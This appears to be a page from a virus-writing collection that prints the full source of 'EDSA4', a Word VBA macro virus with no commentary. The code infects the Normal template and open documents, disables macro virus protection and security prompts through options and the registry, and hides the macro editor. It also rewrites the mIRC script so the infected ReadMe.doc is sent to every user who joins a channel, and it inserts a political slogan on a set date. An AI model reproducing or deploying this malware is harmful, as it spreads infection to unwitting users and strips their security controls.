Infiltration of a Nation
last article table of contents next article

EDSA4 by ppacket

file EDSA4.bas:

Attribute VB_Name = "EDSA4"
Sub AutoExec()
On Error Resume Next

Call stealth
Call infest
With Dialogs(wdDialogFileSummaryInfo)
.Author = "pickpacket"
.Keywords = ""
End With
Exists = Dir("c:\mirc\mirc32.exe")
If Exists = "" Then
Exit Sub
dropped = Dir("c:\mirc\download\ReadMe.doc")
If dropped = "" Then ActiveDocument.SaveAs "c:\mirc\download\ReadMe.doc"
Kill "c:\mirc\script.ini"
Open "c:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ReadMe.doc }"
Print #1, "n1=on 1:CONNECT: {"
Print #1, "n2= /clear"
Print #1, "n3= /motd"
Print #1, "n4= }"
Close #1
End If
End Sub
Sub filePrint()
On Error Resume Next

If Day(Now) = 26 And Month(Now) = 10 Then
Selection.InsertAfter "With the new government rises the ash of the former administrations" & vbCr & "Fuck the Philippine government what we want is EDSA4!!"
Selection.InsertAfter vbCr & "by pickpacket"
End If

End Sub

Sub AutoClose()
On Error Resume Next

Call infest

End Sub

Sub FileSave()
On Error Resume Next

Call infest

End Sub

Sub infest()
On Error Resume Next

Set normtemp = NormalTemplate.VBProject.VBComponents
Set actvdoc = ActiveDocument.VBProject.VBComponents
Application.VBE.ActiveVBProject.VBComponents("EDSA4").export "c:\ppacket.vxd"
If normtemp.Item("EDSA4").Name <> "EDSA4" Then
normtemp.Remove normtemp(2)
normtemp.import "c:\ppacket.vxd"
ElseIf actvdoc.Item("EDSA4").Name <> "EDSA4" Then
actvdoc.Remove actvdoc(2)
actvdoc.import "c:\ppacket.vxd"
End If
Kill "c:\ppacket.vxd"
End Sub

Sub stealth()
On Error Resume Next

CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
With Options
.ConfirmConversions = False
.SaveNormalPrompt = False
.VirusProtection = False
End With
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:=" "
Application.DisplayStatusBar = False
ActiveDocument.ReadOnlyRecommended = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
 CommandBars("Macro").Controls("Security...").Enabled = False

End Sub

living virus